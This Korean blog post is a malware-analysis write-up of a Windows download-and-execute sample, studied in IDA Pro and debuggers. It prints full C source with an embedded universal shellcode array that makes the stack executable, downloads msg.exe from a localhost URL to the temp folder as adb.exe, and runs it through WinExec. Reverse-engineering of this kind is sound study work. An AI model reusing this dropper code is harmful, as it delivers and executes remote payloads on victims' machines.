0. 목차
1. URL 다운로드 & 실행 유형 분석
1.1 분석 환경
- OS : Windows 7(x86)
- Debugging Tool : IDA Pro, Windbg, x32dbg
1.2 예제 소스 코드
[ main.cpp ]
#include <windows.h>
#include <UrlMon.h>
#pragma comment(lib, "UrlMon.lib")
unsigned int
_strlen(const char *f)
{
INT i = 0;
while (*f++)
i++;
return i;
}
char *strcat(char *dst, const char *src)
{
char *cp = dst;
while (*cp)
cp++;
while (*cp++ = *src++)
;
return dst;
}
int main()
{
char path[MAX_PATH];
unsigned char shellcode[205] = {
0x31, 0xC9, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x14, 0xAD, 0x96,
0xAD, 0x8B, 0x58, 0x10, 0x8B, 0x53, 0x3C, 0x01, 0xDA, 0x8B, 0x52, 0x78, 0x01, 0xDA, 0x8B, 0x72,
0x20, 0x01, 0xDE, 0x31, 0xC9, 0x41, 0xAD, 0x01, 0xD8, 0x81, 0x38, 0x47, 0x65, 0x74, 0x50, 0x75,
0xF4, 0x81, 0x78, 0x04, 0x72, 0x6F, 0x63, 0x41, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x64, 0x64, 0x72,
0x65, 0x75, 0xE2, 0x8B, 0x72, 0x24, 0x01, 0xDE, 0x66, 0x8B, 0x0C, 0x4E, 0x49, 0x8B, 0x72, 0x1C,
0x01, 0xDE, 0x8B, 0x14, 0x8E, 0x01, 0xDA, 0x31, 0xF6, 0x52, 0x5E, 0x31, 0xFF, 0x53, 0x5F, 0x31,
0xC9, 0x51, 0x68, 0x78, 0x65, 0x63, 0x00, 0x68, 0x57, 0x69, 0x6E, 0x45, 0x89, 0xE1, 0x51, 0x53,
0xFF, 0xD2, 0x31, 0xC9, 0x51, 0x68, 0x65, 0x73, 0x73, 0x00, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68,
0x45, 0x78, 0x69, 0x74, 0x89, 0xE1, 0x51, 0x57, 0x31, 0xFF, 0x89, 0xC7, 0xFF, 0xD6, 0x31, 0xF6,
0x50, 0x5E, 0x31, 0xC9, 0x51, 0x36, 0x68, 0x61, 0x64, 0x62, 0x00, 0x68, 0x70, 0x25, 0x5C, 0x5C,
0x68, 0x25, 0x74, 0x65, 0x6D, 0x68, 0x2F, 0x63, 0x20, 0x20, 0x68, 0x65, 0x78, 0x65, 0x20, 0x68,
0x63, 0x6D, 0x64, 0x2E, 0x89, 0xE1, 0x6A, 0x00, 0x51, 0xFF, 0xD7, 0x6A, 0x00, 0xFF, 0xD6, 0xFF,
0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00};
int len = 205;
DWORD l = 0;
VirtualProtect(shellcode, len, PAGE_EXECUTE_READWRITE, &l);
GetTempPathA(MAX_PATH, path);
strcat(path, "adb.exe");
URLDownloadToFileA(NULL, "http://127.0.0.1:8080/static/msg.exe", path, 0, NULL);
Sleep(1000);
__asm {
lea eax, shellcode
jmp eax
}
ExitProcess(0);
}
2. 분석
2.1 정적 분석
1) VirtualProtect()
→ 메모리 영역의 보호 설정 값 변경하는 함수
- lpAddress : 변경할 영역의 시작주소
- dwSize : 변경할 영역의 크기
- flNewProtect : 변경할 설정 값
- lpfloldProtect : 기존 접근권한을 저장할 주소
1-1) VirtualProtect(&Address, 0xCDu, 0x40u, &flOldProtect);
→ Address시작 주소부터 0xcd만큼 rwx권한 부여(0x40, PAGE_EXECUTE_READWRITE)
2) GetTempPathA()
→ 임시 파일용으로 지정된 디렉토리 경로 검색하는 함수
- nBufferLength : 얻어올 버퍼 최대 크기
- lpBuffer : 얻어올 경로의 주소
2-1) GetTempPathA(0x104u, &Buffer);
→ tmp 디렉토리의 경로를 얻어와 buffer에 저장
3) sub_401000(&Buffer, "adb.exe");
_BYTE *__cdecl sub_401000(_BYTE *buf, _BYTE *filename)
{
int v2; // ST00_4
_BYTE *i; // [esp+4h] [ebp-4h]
for ( i = buf; *i; ++i )
;
do
{
*i = *filename;
v2 = (char)*i++;
++filename;
}
while ( v2 );
return buf;
}
인자로 받은 buf에는 tmp 디렉토리 경로가 담겨져 있으며 filename에는 "adb.exe"문자열이 존재한다. for문을 통해 i변수가 buf에 담겨 있는 문자열의 끝인 null byte가 가리키게 된다. do while문을 통해 1byte씩 filename의 문자열을 buf문자열 끝에 붙인다.
즉, 해당 함수는 buf와 filename의 문자열을 붙여주는 역할을 수행한다. ("buf + filename")
4) URLDownloadToFileA()
→ URL을 통해 지정된 위치에 파일을 다운로드하는 함수
- pCaller : ActiveX구성요소인 경우 세팅, 아닌 경우 NULL
- szURL : 다운로드할 URL이 포함된 문자열 값에 대한 포인터
- szFileName : 다운로드하여 저장될 전체 경로
- dwReserved : 예약됨, 0으로 설정해야함
- lpfnCB : IBindStatusCallback 인터페이스에 대한 포인터, 필요하지 않은 경우 NULL
5) Sleep(0x3e8); & JUMPOUT(__CS__, &Address);
- 다운로드 받는 시간에 의해 Sleep(1000); 1초 대기
- Address의 시작주소로 jmp (shellcode로 jump)
2.2 동적분석
1) VitualProtect()
- VirtualProtect함수를 호출하기 전 인자 세팅
- 0x12feb8 : Address변수 주소
1-1) VirtualProtect() 호출 전 - 0x12feb8 메모리 권한 확인
- protect : PAGE_READWRITE
1-2) VirtualProtect() 호출 후 - 0x12feb8 메모리 권한 확인
- protect : PAGE_EXECUTE_READWRITE
2) GetTempPathA()
- GetTempPathA함수 호출하기 전 인자 세팅
- 0x12fdac : buffer변수 주소
2-1) GetTempPathA() 호출 전 - 0012fdac 확인
2-2) GetTempPathA() 호출 후 - 0012fdac 확인
- tmp디렉토리 전체 경로를 buffer에 저장됨
3) sub_401000()
- sub_401000함수 호출하기 전 인자 세팅
3-1) sub_401000() 호출 전 - buffer 확인
- 값 확인
3-2) sub_401000() 호출 후 - buffer 확인
- 문자열이 합쳐짐
4) URLDownloadToFile()
- sub_401000함수 호출하기 전 인자 세팅
- 0x4020208 : URL
- 0x12fdac : Buffer
4-1) URLDownloadToFile() 호출 이후
- 해당 경로에 adb.exe파일 생성
5) JUMPOUT(__CS__, &Address); - 쉘 코드 실행
- 0x12feb8로 이동
여기서 부터 쉘 코드가 실행되는 부분으로써 원하는 함수의 주소를 찾고 실행하기 위한 과정이 시작된다. Windows 7이상의 OS부터 부팅할 때마다 kernel32.dll의 상위 2bytes주소 값이 바뀌기 때문에 동적으로 kernel32.dll 주소를 얻어온다.
순서 : PEB → Ldr → InMemoryOrderModuleList→ Flink
① mov eax, dword ptr fs:[0x30] - PEB 주소 찾기
- PEB : 0x7ffdb000
② mov eax, dword ptr [eax+0xc] - ldr 주소 찾기
- ldr : 0x771b8880
③ mov esi, dword ptr [eax+0x14] - InMemoryOrderModuleList
이후에 Flink를 통해서 따라가 보면
- main.exe 자기 자신
- ntdll.dll
- kernel32.dll
- Base Address : 0x75840000
④ lods dword ptr [esi]; xchg eaSSx, esi; lods dword ptr [esi]
→ Flink를 두 번 따라가는 과정
→ lods(Load String) : ESI가 가리키는 메모리에 값을 EAX에 저장
⑤ mov ebx, dword ptr [eax+0x10]
- eax+0x10에 저장된 kernel32.dll주소를 ebx로 복사
⑥ mov edx, dword ptr [ebx+0x3c] - kernel32.dll의 NT Header주소 찾기
- PE파일 구조에서 제일 첫 부분인 DOS Header의 멤버 중 e_lfanew멤버는 NT Header가 시작되는 위치의 옵셋이 저장되어 있다.
⑦ mov edx,dword ptr [edx+78h] - Export Table 찾기
- Export Table offset : 0xb5a34
⑧ mov esi,dword ptr [edx+20h] - AddressOfName배열 찾기
여기서 부터 DataDirectory에서 함수를 찾는데 필요한 3개의 테이블을 이용하여 함수의 주소를 찾는다.
- AddressOfFunctions
- AddressOfName
- AddressOfNameOrdinals
참고 : https://rninche01.tistory.com/entry/Universal-Shell-codex86원리-및-실습?category=838537
최종적으로 위 과정을 통해 GetProcAddress함수의 주소를 구하게 된다.
이후에 인자 값을 세팅하고 GetProcAddress를 호출한다.
GetProcAddress : 해당 dll에 있는 함수/변수의 주소를 검색 및 주소 값 반환
- hModule : dll 모듈에 대한 핸들
- lpProcName : 함수 또는 변수 이름 또는 함수의 서수 값
→ 이를 통해 WinExec함수의 함수의 주소를 구하게 된다.
eax에 winexec함수 주소 저장
한번 더 GetProcAddress를 통해 ExitProcess()주소 값을 가져옴
파라미터를 받고 winexec() 호출
ExitProcess()를 호출하고 종료
3. 정리
3.1 Process
1) VirtualProtect()를 통해 쉘 코드가 실행할 수 있게 쉘 코드가 위치한 스택 주소 영역의 권한을 실행가능하도록 설정한다.
2) GetTempPathA()를 통해 tmp디렉토리 전체 경로를 가져온다.
3) sub_401000()를 통해 tmp디렉토리 전체 경로와 "adb.exe"문자열을 합친다.
4) URLDownloadToFileA()를 통해 인터넷에서 "~~msg.exe"파일을 다운받아 "~~tmp/adb.exe"파일이름으로 저장한다.
5) 쉘 코드를 실행한다. (Universal Shellcode)
5-1) 동적으로 kernel32.dll base 주소를 가져온다.
5-2) GetProcAddress()주소를 구한다.
5-3) GetProcAddress()를 통해 WinExec()와 ExitProcess()주소를 가져온다.
5-4) WinExec()를 통해 아까 다운받은 파일을 실행한다.
5-5) ExitProcess()를 통해 프로그램을 종료한다.
Uploaded by Notion2Tistory v1.1.0